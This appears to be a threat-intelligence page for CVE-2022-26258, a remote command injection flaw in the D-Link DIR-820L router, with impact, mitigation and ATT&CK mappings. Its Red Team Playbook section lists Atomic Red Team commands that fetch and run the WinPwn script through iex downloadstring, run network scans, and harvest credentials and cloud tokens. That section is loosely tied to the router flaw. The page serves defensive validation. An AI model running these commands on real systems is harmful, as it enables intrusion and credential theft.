CVE-2022-26258
Overview
The vulnerability is a remote command execution (RCE) flaw caused by improper input validation in the HTTP POST handler of the D-Link DIR-820L firmware version 1.05B03. Specifically, the component responsible for processing the "get set ccp" command fails to sanitize user-supplied input, allowing injection of arbitrary system commands. This flaw resides within the device's web management interface, which directly executes shell commands based on crafted HTTP POST parameters without adequate filtering or authentication.
Vulnerability Description
D-Link DIR-820L 1.05B03 was discovered to contain remote command execution (RCE) vulnerability via HTTP POST to get set ccp.
Impact
An attacker can execute arbitrary system commands remotely on the affected device without authentication, gaining full control over the router's operating system. This can lead to unauthorized access to network traffic, persistent backdoors, manipulation of device configurations, and potential lateral movement within the connected network. The vulnerability enables complete compromise of device integrity and confidentiality, posing severe risks to network security and data privacy.
Solution
D-Link has published a security bulletin on their official website (https://www.dlink.com/en/security-bulletin/) recommending immediate firmware upgrade for the DIR-820L device to a version later than 1.05B03 that addresses this issue. Users should apply the latest firmware update provided by D-Link to remediate the vulnerability. Detailed patch instructions and advisory information are available on the vendor's security bulletin page. No alternative workarounds are documented by the vendor.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability present in the D-Link DIR-820L router firmware version 1.05B03 allows for remote command execution (RCE) through an HTTP POST request. This flaw arises from improper validation of user input, specifically in the handling of the "set ccp" command. An attacker can exploit this weakness by sending specially crafted requests to the router, which can lead to arbitrary command execution on the device. The lack of adequate input sanitization and authentication checks makes it possible for unauthorized users to execute commands that could compromise the integrity and confidentiality of the device and the network it serves.
Attack vectors for this vulnerability are primarily network-based, allowing attackers to target devices exposed to the internet or within a local network. An attacker could leverage social engineering techniques to gain access to the internal network or exploit other vulnerabilities to gain a foothold. Once access is obtained, the attacker can craft malicious HTTP POST requests to execute arbitrary commands on the router. This could include altering network configurations, redirecting traffic, or even installing malicious firmware. The ease of exploitation, combined with the widespread use of such devices, heightens the risk of successful attacks.
The real-world impact of this vulnerability is significant, particularly for businesses relying on D-Link routers for their networking infrastructure. Successful exploitation can lead to unauthorized access to sensitive data, disruption of services, and potential financial losses. For organizations, the risk extends beyond immediate financial implications; it can also damage reputation, erode customer trust, and lead to regulatory scrutiny, especially if customer data is compromised. The high CVSS score of 9.8 indicates the critical nature of this vulnerability, emphasizing the urgency for organizations to address it promptly.
Detection of this vulnerability requires a proactive approach, including regular network scans and monitoring for unusual traffic patterns indicative of exploitation attempts. Intrusion detection systems (IDS) can be configured to alert administrators to suspicious HTTP POST requests targeting the router. Additionally, organizations should maintain an inventory of their network devices and ensure that firmware is kept up to date to mitigate known vulnerabilities. Regular security assessments and penetration testing can also help identify potential weaknesses before they can be exploited by malicious actors.
Mitigation strategies should focus on both immediate and long-term actions. Immediate steps include applying firmware updates provided by D-Link to patch the vulnerability and disabling remote management features if they are not necessary. Long-term strategies involve implementing network segmentation to isolate critical devices, employing firewalls to restrict access to the router, and educating employees about the risks associated with insecure network configurations. By adopting a layered security approach, organizations can significantly reduce their exposure to this and similar vulnerabilities, ultimately enhancing their overall cybersecurity posture.
CSURFACE threat intelligence has identified a marked escalation in activity related to CVE-2022-26258, coinciding with its recent inclusion in the CISA Known Exploited Vulnerabilities (KEV) catalog. This formal recognition underscores the vulnerability’s criticality and signals increased attention from threat actors. Our telemetry indicates that exploit attempts, while still limited, have emerged where previously none were detected, reflecting a shift from theoretical risk to active exploitation potential. The assignment of a high CVSS score and a significant EPSS rating further corroborate the elevated risk posture, suggesting that adversaries are increasingly likely to target affected D-Link DIR-820L devices. Although no new exploit techniques or ransomware associations have been confirmed, the convergence of these factors elevates the threat level to critical, warranting heightened vigilance among defenders monitoring network perimeter devices and IoT infrastructure.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Dlink | Dir-820l Firmware | 1.05b03 |
cpe:2.3:o:dlink:dir-820l_firmware:1.05b03:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
CISA confirmed active exploitation — added to Known Exploited Vulnerabilities catalog
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-88 | OS Command Injection |
44%
|
High | High | |
| CAPEC-6 | Argument Injection |
43%
|
High | High | |
| CAPEC-43 | Exploiting Multiple Input Interpretation Layers |
40%
|
Medium | High |
Red Team Playbook
33 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
docker build -t t1046 $PathToAtomicsFolder/T1046/src/
docker run --name t1046_container --rm -d -t t1046
docker exec t1046_container /scan.sh
for port in {1..65535}; do (2>/dev/null echo >/dev/tcp/#{host}/$port) && echo port $port is open ; done
nmap #{host_to_scan}
sudo nmap -sS #{network_range} -p #{port}
telnet #{host} #{port}
nc -nv #{host} #{port}
nmap -Pn -sV -p #{port_range} #{host}
python "#{filename}" -i #{host_ip}
$ipAddr = "#{ip_address}"
if ($ipAddr -like "*,*") {
$ip_list = $ipAddr -split ","
$ip_list = $ip_list.ForEach({ $_.Trim() })
Write-Host "[i] IP Address List: $ip_list"
$ports = #{port_list}
foreach ($ip in $ip_list) {
foreach ($port in $ports) {
Write-Host "[i] Establishing connection to: $ip : $port"
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} elseif ($ipAddr -notlike "*,*") {
if ($ipAddr -eq "") {
# Assumes the "primary" interface is shown at the top
$interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1
Write-Host "[i] Using Interface $interface"
$ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress
}
Write-Host "[i] Base IP-Address for Subnet: $ipAddr"
$subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1)
# Always assumes /24 subnet
Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'"
$ports = #{port_list}
$subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" }
foreach ($ip in $subnetIPs) {
foreach ($port in $ports) {
try {
$tcp = New-Object Net.Sockets.TcpClient
$tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null
} catch {}
if ($tcp.Connected) {
$tcp.Close()
Write-Host "Port $port is open on $ip"
}
}
}
} else {
Write-Host "[Error] Invalid Inputs"
exit 1
}
Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration"
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
MS17-10 -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
bluekeep -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
fruit -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
spoolvulnscan -noninteractive -consoleoutput
Start-Process -FilePath "#{autoit_path}" -ArgumentList "#{script_path}"
echo "Creating %systemroot%\wpbbin.exe"
New-Item -ItemType File -Path "$env:SystemRoot\System32\wpbbin.exe"
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (7)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2022-26258 |
| dlink.com |
GitHub CVE
|
http://dlink.com |
| dlink.com |
GitHub CVE
|
https://www.dlink.com/en/security-bulletin/ |
| dir-820l.com |
GitHub CVE
|
http://dir-820l.com |
| github.com |
GitHub CVE
|
https://github.com/skyedai910/Vuln/tree/master/DIR-820L/command_execution_0 |
| github.com |
GitHub CVE
|
https://github.com/zhizhuoshuma/cve_info_data/blob/ccaed4b94ba762eb8a8e003bfa762a7754b8182e/Vuln/Vuln/DIR-820L/command_execution_0/README.md |
| cisa.gov |
NVD API
US Government Resource
|
https://www.cisa.gov/known-exploited-vulnerabilities-catalog?field_cve=CVE-2022-26258 |